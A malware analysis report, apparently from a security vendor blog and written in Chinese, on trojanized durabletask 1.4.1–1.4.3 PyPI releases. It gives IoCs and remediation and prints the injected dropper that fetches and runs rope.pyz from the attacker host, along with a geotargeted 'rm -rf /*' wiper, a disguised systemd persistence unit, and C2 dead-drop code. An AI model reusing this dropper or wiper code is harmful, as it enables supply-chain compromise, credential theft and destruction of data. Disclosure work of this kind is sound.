PyPI 上的恶意 durabletask:多云凭据窃取器具备蠕虫能力

TL;DR

三个版本的 durabletask PyPI 包(1.4.1、1.4.2、1.4.3),即 Microsoft 的 Durable Task SDK for Python,于 2026 年 5 月 19 日使用泄露的 PyPI API token 发布。GitHub 仓库未遭到入侵:不存在相应的标签或提交记录,当天也没有任何发布工作流运行。攻击者在本地构建了修改后的包,并通过 twine 直接上传,在包源文件中注入了相同的 dropper 代码。Dropper 从攻击者基础设施下载第二阶段 Python zipapp(rope.pyz)并以静默方式执行。第二阶段是一个完整的凭证窃取框架,专门针对 AWS Secrets Manager 和 SSM Parameter Store、Azure Key Vault、GCP Secret Manager、Kubernetes secrets(跨所有上下文)、HashiCorp Vault 以及本地密码管理器(1Password、Bitwarden、passgopass)设计了专门的收集器。该框架还会从磁盘读取超过 90 个敏感文件,使用 RSA-4096/AES-256-GCM 加密所有窃取内容后外传至 C2 服务器,并通过 AWS SSM SendCommandkubectl exec 传播至其他主机。有效载荷包含地缘政治定向:跳过使用俄罗斯区域设置的系统,并包含针对以色列和伊朗系统的破坏性 rm -rf /* 恶意程序。

影响:​

  • 窃取 AWS、Azure、GCP 所有配置配置文件和区域中的云凭证及密钥
  • 从所有可访问的上下文和命名空间转储所有 Kubernetes secrets
  • 跨所有挂载点读取 HashiCorp Vault KV secrets
  • 尝试解锁并转储 1Password、Bitwarden、pass 和 gopass 保险库
  • 外传 90 多个敏感文件,包括 SSH 密钥、云配置、Docker 凭证、VPN 配置、MCP 配置、.env 文件、Terraform 状态文件和 shell 历史记录
  • 通过 AWS SSM SendCommand 和 Kubernetes pods 的 kubectl exec 传播至其他 EC2 实例
  • 通过 C2 交付的有效载荷部署伪装成 pgsql-monitor.service 的持久性 systemd 后门
  • 使用 AES-256-GCM + RSA-4096 加密方式外传所有收集的数据至 hxxps://check[.]git-service[.]com160.119.64.3,AS49870,塞舌尔)
  • 当 C2 不可达时,回退使用通过窃取的 ghp_ / github_pat_ token 经 GitHub 外传数据
  • 通过加密签名的 GitHub 提交解析备份 C2 URL(FIRESCALE 死 drops)
  • 第二 C2 位于 hxxps://t[.]m-kosche[.]com185.95.159.32,AS209101,保加利亚),用于传播有效载荷交付
  • 包含针对以色列和伊朗系统的破坏性 rm -rf /* 擦拭器(在匹配区域设置时有六分之一的触发概率)

入侵指标(IoC):​

  • [email protected](SHA256 sdist:3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • [email protected](SHA256 sdist:85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • [email protected](SHA256 sdist:c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • 第二阶段有效载荷:rope.pyz(SHA256:069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce
  • C2 域名:check[.]git-service[.]com(解析至 160.119.64.3,NS:dnsowl.com
  • 第二 C2:t[.]m-kosche[.]com
  • C2 端点:/api/public/version(外传)、/v1/models(早期隔离/持久化)、/rope.pyz(有效载荷)、/audio.mp3(破坏性有效载荷音频)
  • 持久化:pgsql-monitor.service systemd 服务,位于 /usr/bin/pgmonitor.py~/.local/bin/pgmonitor.py 的二进制文件
  • 传播标记:~/.cache/.sys-update-check~/.cache/.sys-update-check-k8s
  • GitHub 死 drops:包含 FIRESCALE 关键字且带有签名 base64 URL 的提交
  • GitHub 外传仓库:随机命名,使用斯拉夫民间传说词汇(例如 BABA-YAGA-KOSCHEI-742

分析

包概述

durabletask 是 Microsoft 官方的 Durable Task SDK for Python,用于构建可靠的编排工作流。该包在 PyPI 上有悠久的发布历史,追溯过往共有 106 个开发版本和多个稳定版本。合法的 v1.4.0 于 2026 年 4 月 8 日发布。2026 年 5 月 19 日,三个新版本迅速出现:v1.4.1 于 16:19 UTC、v1.4.2 于 16:49 UTC、v1.4.3 于 16:54 UTC,35 分钟内全部发布。三个版本的 pyproject.toml 与 v1.4.0 完全相同,仅版本号不同。PyPI JSON API 未暴露任何作者或维护者元数据。

项目元数据仍指向合法的 Microsoft GitHub 仓库(microsoft/durabletask-python)。任何查看包页面的人都会看到 Microsoft 的仓库 URL,为被篡改的版本赋予了不应得的信誉。

根本原因:泄露的 PyPI API Token

GitHub 仓库没有遭到入侵的迹象。不存在任何 v1.4.1v1.4.2v1.4.3 标签。最近的标签是 v1.4.0,与上一次合法发布版本相匹配。当天没有任何 GitHub Actions 发布工作流运行。当天唯一的工作流活动是计划任务机器人(PR Verification Agent、Daily Code Review)。最后一次代码提交是在 2026 年 4 月 24 日,即恶意包出现的 25 天前。

攻击者直接使用窃取的 API token 发布到 PyPI,完全绕过了 CI/CD。

仓库的发布管道(durabletask.yml)使用 twine upload,其中存储了长期有效的 PyPI API token,位于 GitHub Secrets 中:

yaml
- name: Publish package to PyPI env: TWINE_USERNAME: __token__ TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }} run: | twine upload dist/*

三个弱点使这个 token 成为高价值目标:

1. 缺少受信任发布者。​该项目使用传统的 API token 认证,而非 PyPI 的 OIDC 受信任发布者机制。受信任发布者将发布绑定到特定的 GitHub 仓库、工作流和环境。窃取的 token 无法从该工作流外部发布。该项目没有任何此类绑定:任何持有 token 的人都可以从任何机器上传任何版本。

2. 三个工作流共享同一 token。​相同的 PYPI_API_TOKEN secret 出现在 durabletask.yml(发布版)、durabletask-dev.yml(开发构建)和 durabletask-experiment.yml(实验性构建)中。一个被泄露的 secret 即授予完整的发布访问权限。

3. 实验工作流没有测试关卡。​durabletask-experiment.yml 工作流对任何非 main 分支的每次推送都会运行。测试要求(needs: run-tests)已被注释掉。虽然该工作流强制使用 0.0.0.dev* 版本,但它扩大了 token 被使用的攻击面。

所有 durabletask 发布版本(无论合法还是恶意)都没有任何来源证明或认证。PyPI 对每个版本都返回 "No provenance available"。没有加密来源证明,就无法验证发布的 artifact 是否由 Microsoft 仓库中的特定提交构建。攻击者可以克隆合法源码,注入恶意文件,在本地使用 python -m build 构建,并通过 twine upload 使用窃取的 token 上传。结果在 PyPI 包页面上与合法发布无法区分。

具体 token 泄露途径尚不清楚。可能的路径包括:从有 Secrets 访问权限的被入侵 GitHub 账户外泄、在 CI 日志中暴露,或从维护者的本地环境中窃取。

有效载荷演变:累积注入

攻击者在 35 分钟内迭代了三个版本,每个版本在前一版本的基础上增加更多注入点,同时保留所有之前的注入。

v1.4.1 用 dropper 替换了 durabletask/__init__.py 中的版权头:

python
# durabletask/__init__.py (v1.4.1) import os import sys import platform import subprocess import urllib.request if platform.system() == "Linux": try: urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz") with open(os.devnull, 'w') as f: subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True) except: pass

v1.4.2 保留了 __init__.py 中的注入,并在 durabletask/task.py 末尾添加了相同的有效载荷。

v1.4.3 保留了前两个注入,并在 durabletask/entities/__init__.pydurabletask/extensions/__init__.pydurabletask/payload/__init__.py 中添加了三个更多的注入点。

到 v1.4.3,dropper 存在于五个文件中。任何通过该包的导入路径都会触发下载。start_new_session=True 标志使第二阶段进程脱离父进程,即使父 Python 进程退出也能继续运行。stdout、stderr 和 stdin 都重定向到 /dev/null 以实现静默执行。

第二阶段:rope.pyz

第二阶段有效载荷是一个 28 KB 的 Python zipapp,作为 application/zip 从 C2 提供。它包含一个模块化的凭证窃取框架,结构如下:

plaintext
__main__.py # Entry point: anti-analysis, installs cryptography, launches entrypoint config.py # C2 URLs, RSA public key, timeouts entrypoint.py # Orchestrator: collect, encrypt, exfiltrate, fallback chains aggregate.py # Parallel collector runner roulette.py # Persistence deployer + destructive geotargeted wiper collectors/ aws.py # AWS Secrets Manager, SSM Parameters, IMDS credentials azure.py # Azure Key Vault, IMDS, CLI cache, cert-based auth gcp.py # GCP Secret Manager, service account keys, ADC kubernetes.py # K8s secrets (all namespaces), kubeconfig parsing, pod propagation vault.py # HashiCorp Vault KV v1/v2 across all mounts passwords.py # 1Password, Bitwarden, pass, gopass (with brute-force unlock) filesystem.py # 90+ sensitive files, SSH keys, env vars, Docker, VPN, Terraform state propagate.py # AWS SSM SendCommand lateral movement utilities/ crypto.py # RSA-OAEP, AES-256-GCM, RSA signature verification aws_signer.py # AWS SigV4 request signing (no SDK dependency)

反分析与地缘政治定向

__main__.py 入口点在执行有效载荷之前运行多项检查:

python
if sys.platform not in ('linux'): sys.exit(1) lang = os.environ.get('LANG', '').split('.')[0] if lang.lower().startswith('ru'): sys.exit(1) cpu_count = os.cpu_count() if cpu_count is None or cpu_count <= 2: sys.exit(1)

有效载荷仅在 Linux 上运行,在使用俄罗斯区域设置(LANG=ru_*)的系统上退出,且需要超过 2 个 CPU(以过滤轻量级沙箱 VM)。然后安装缺失的 cryptography Python 包(对于系统 Python 安装使用 --break-system-packages)并启动入口点模块。

轮盘赌模块:破坏与持久化

roulette.py 包含破坏能力。它从 C2 的"早期隔离"端点接收 base64 编码的 Python 脚本,并要么部署持久化,要么运行擦拭器:

python
def _is_israeli_system(): _TZ_MARKERS = ("Jerusalem", "Tel_Aviv", "Tehran") _LOCALE_MARKERS = ("he_IL", "fa_IR") # Checks TZ env var, /etc/timezone, /etc/localtime, LANG, LC_ALL, LC_MESSAGES ... def collect(python_b64): roll = random.randint(1, 6) if _is_israeli_system() and roll == 2: play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3") subprocess.run(["rm", "-rf", "/*"]) return try: deploy_local(python_b64) except Exception: pass

在以色列或伊朗系统上(通过耶路撒冷、特拉维夫、德黑兰或 he_ILfa_IR 区域设置检测),随机六分之一概率,载荷下载音频文件(audio.mp3),通过 pactl 将系统音量设置为 100%,通过 mpv 播放,并通过 rm -rf /* 执行。这是一种配合心理恐吓的擦拭器。剩余六分之五的概率(以及所有非目标系统)获得持久化。

持久化机制部署伪装成 PostgreSQL 监控器的 systemd 服务:

python
bin_path = os.path.join(bin_dir, "pgmonitor.py") # /usr/bin/ or ~/.local/bin/ svc_path = os.path.join(svc_dir, "pgsql-monitor.service") # system or user systemd unit = f"""[Unit] Description=PostgreSQL Monitor After=network.target [Service] ExecStart={sys.executable} {bin_path} Restart=always [Install] WantedBy={wanted_by} """

凭证收集:广度与深度

所有收集器通过 concurrent.futures.ThreadPoolExecutor 并行运行。

AWScollectors/aws.py):从环境变量、~/.aws/credentials(所有配置文件)和 EC2 IMDS 解析凭证。对于每组凭证,使用 GetSecretValue 枚举 AWS Secrets Manager 中的所有密钥,并使用 WithDecryption: True 跨 19 个区域并行工作器枚举所有 SSM Parameter Store 参数。它还发现 SSM 管理的实例以进行横向移动。该模块实现了自己的 AWS SigV4 签名(utilities/aws_signer.py)以避免 SDK 依赖。

Azurecollectors/azure.py):通过客户端凭据流、基于证书的身份验证、Azure CLI token 缓存(~/.azure/accessTokens.json)和 Azure IMDS 解析 token。枚举所有订阅,列出每个订阅的 Key Vault,并从每个保管库中转储所有密钥。

GCPcollectors/gcp.py):从服务账户 JSON 文件(GOOGLE_APPLICATION_CREDENTIALS)、应用程序默认凭据(~/.config/gcloud/application_default_credentials.json)和 GCE 元数据服务器解析凭据。通过 Secret Manager API 列出解析后项目中的所有密钥,并检索每个密钥的最新版本。

Kubernetescollectors/kubernetes.py):解析 kubeconfig(使用自定义 YAML 解析器,无 PyYAML 依赖),遍历每个上下文,并从所有命名空间转储 secrets。支持集群内服务账户 token、客户端证书身份验证和 bearer token。如果 kubectl 不存在,收集器从 dl.k8s.io 下载。收集 secrets 后,通过 kubectl exec 将有效载荷传播至多达 5 个其他运行中的 pods。

HashiCorp Vaultcollectors/vault.py):从 VAULT_TOKEN~/.vault-token、AppRole 登录(VAULT_ROLE_ID / VAULT_SECRET_ID)和 Vault CLI 解析 token。列出所有 KV 挂载点,检测 KV v1 与 v2,遍历每个路径读取所有 secrets。

密码管理器collectors/passwords.py):尝试通过暴力破解解锁 1Password、Bitwarden、passgopass,密码来自与环境变量匹配 *PASS**SECRET**KEY*BW_*OP_**_MASTER* 模式以及 shell 历史记录(.bash_history.zsh_history)的密码。成功后,从每个保险库转储所有项目。

文件系统collectors/filesystem.py):读取 90 多个文件,包括 SSH 密钥、云凭证、Docker 配置、npm/PyPI/Cargo/Gem token、kubeconfig、Terraform 状态文件、VPN 配置(Tailscale 状态、WireGuard 配置)、MCP 服务器配置(Claude Desktop、Cursor、VS Code、Zed、Codeium、Continue)以及主目录下找到的所有 .env 文件。还通过 Docker socket 或 CLI 从所有 Docker 容器提取环境变量,并通过 gh auth token 收集 GitHub token。

C2 基础设施

攻击者运营两个域名,均通过同一 nameserver 提供商(dnsowl.com)注册,并使用在恶意包发布前三天(2026 年 5 月 16 日)签发的 Let's Encrypt 证书配置。

域名IPASN反向 DNS证书签发
check[.]git-service[.]com160.119.64.3AS49870 / AS7489(SC,AFRINIC)hosted-by.europededicated.com2026 年 5 月 16 日
t[.]m-kosche[.]com185.95.159.32AS209101(BG,RIPE)(无)2026 年 5 月 16 日

check[.]git-service[.]com 的主要 C2 暴露四个端点:

  • /rope.pyz 提供第二阶段有效载荷(28,703 字节,application/zip
  • /v1/models 是"早期隔离"端点。当可达并返回 HTTP 200 时,响应体作为 base64 编码的 Python 有效载荷输入 roulette.collect() 用于持久化部署(或对于地理目标系统,用于破坏性擦拭器)。在分析时,此端点重定向至 YouTube。攻击者可能在初始部署后禁用了此功能
  • /api/public/version 接受包含加密外传捆绑包的 POST 请求。在 GET 时返回 400,确认它期望 _build_package() 生成的特定 JSON 结构
  • /audio.mp3 在目标系统上执行破坏性擦拭器前以全音量播放音频文件。在分析时也重定向至 YouTube

两个域名都将所有非有效载荷路径(包括根 /)重定向至 hxxps://www[.]youtube[.]com/watch?v=1hIT0dCwzGo,这是对随意访问者或分析人员的误导。攻击者选择 git-service.com 以在网络日志中融入合法的开发者基础设施。

辅助域名 m-kosche[.]com 中的"Koschei"是对斯拉夫民间传说中无死之王 Koschei 的引用,与 GitHub 外传仓库名称中使用的民间传说命名主题一致(BABA-YAGA、KOSCHEI、FIREBIRD、VASSILISA 等)。

C2 通信协议

入口点模块编排了三层外传策略,具有级联回退:

步骤 1:早期隔离检查。​在收集任何凭证之前,有效载荷联系 /v1/models,超时 5 秒。如果可达并返回 HTTP 200,响应被输入 roulette.collect() 用于持久化/破坏。如果服务器返回 HTTP 错误(4xx/5xx),有效载荷继续而不回退。只有当连接本身失败(超时、DNS 失败、网络不可达)时才会触发 GitHub 死 drops 解析器。

步骤 2:凭证收集与主要外传。​所有收集器通过 ThreadPoolExecutor 并行运行。聚合结果使用 gzip 压缩,使用随机 AES-256-GCM 密钥(256 位密钥,96 位 IV)加密,AES 密钥使用攻击者的 4096 位 RSA 公钥通过 OAEP-SHA256 包装。生成的 JSON 信封:

json
{ "envelope": "<base64(IV + ciphertext + GCM_tag)>", "key": "<base64(RSA_encrypted_AES_key)>" }

有效载荷将此 POST 至 hxxps://check[.]git-service[.]com/api/public/version 的主要 C2。

步骤 3:GitHub 死 drops 回退。​如果主要 C2 不可达,有效载荷搜索 GitHub 的公开提交搜索 API 查找包含 FIRESCALE 关键字的提交。提交消息格式为 FIRESCALE <base64_url>.<base64_signature>。URL 被解码,签名使用嵌入在 config.py 中的同一 RSA 公钥验证。这可以防止第三方用假的 C2 URL 中毒死 drops。只有加密签名的 URL 被信任,使解析机制防篡改。

python
_FIRESCALE_RE = re.compile(r'FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)') # Search GitHub commits, verify signature, extract URL req = urllib.request.Request( "https://api.github.com/search/commits?q=FIRESCALE&sort=committer-date&order=desc&per_page=30", headers={"Accept": "application/vnd.github.cloak-preview+json", "User-Agent": "git/2.39.0"} )

步骤 4:GitHub token 外传。​如果 C2 和死 drops 都失败,有效载荷在收集的凭证数据中搜索匹配 ghp_[a-zA-Z0-9]{36}github_pat_[a-zA-Z0-9]{22}_[a-zA-Z0-9]{59} 的 GitHub 个人访问 token。对于找到的每个 token,它创建一个新的公开仓库,用随机斯拉夫民间传说词汇命名(例如 BABA-YAGA-KOSCHEI-742,描述:"PUSH UR T3MPRR"),并将加密数据捆绑包作为 results.json 上传。攻击者稍后可以搜索 GitHub 查找匹配这些独特命名模式的仓库以检索外传的数据。

横向移动:SSM 和 Kubernetes

传播模块(collectors/propagate.py)使用 AWS SSM SendCommand 配合 AWS-RunShellScript 在多达 5 个发现的 EC2 实例上执行 dropper 脚本。该脚本检查传播标记,从辅助 URL hxxps://t[.]m-kosche[.]com/rope.pyz 下载 rope.pyz(辅助 URL hxxps://t[.]m-kosche[.]com/rope.pyz 作为回退),执行后删除自己。Kubernetes 传播在 collectors/kubernetes.py 中通过 kubectl exec 对发现的运行中 pods 做同样的操作。

两种传播路径都使用标记文件(~/.cache/.sys-update-check~/.cache/.sys-update-check-k8s)以避免重新感染同一主机。

结论

这是一次基于劫持 Microsoft SDK 构建的多云凭证窃取蠕虫攻击。攻击者通过三个版本迭代最大化注入面,并部署了一个第二阶段,针对云原生开发环境可能触及的每个主要密钥存储。所有主要云平台、所有配置的配置文件和区域都成为目标。冗余的三层外传(C2 服务器、GitHub 死 drops、GitHub token 上传)、SSM 和 Kubernetes 横向移动,以及地缘政治定向(排除俄罗斯区域设置、针对以色列/伊朗的擦拭器)表明这是一个资源充足且有动机的威胁行为者。

如果您安装了 durabletask 1.4.1、1.4.2 或 1.4.3,请假设凭证已完全泄露。轮换所有云凭证、Vault token、Kubernetes 服务账户 token、SSH 密钥和密码管理器主密码。审计 AWS CloudTrail、Azure Activity Log 和 GCP Audit Log 中的未授权 GetSecretValueGetParameter 或 Secret Manager 访问。检查 systemd 中的 pgsql-monitor.service 以及任何运行过该有效载荷的系统上的传播标记。

SafeDep 的开源工具 vet 可在恶意包进入您的依赖树之前检测到此类威胁。针对恶意包安装的运行时保护,pmg 在安装时拦截包管理器命令并阻止已知威胁。

参考

SafeDep 博客最新内容

关注以获取开源安全与工程方面的最新更新和见解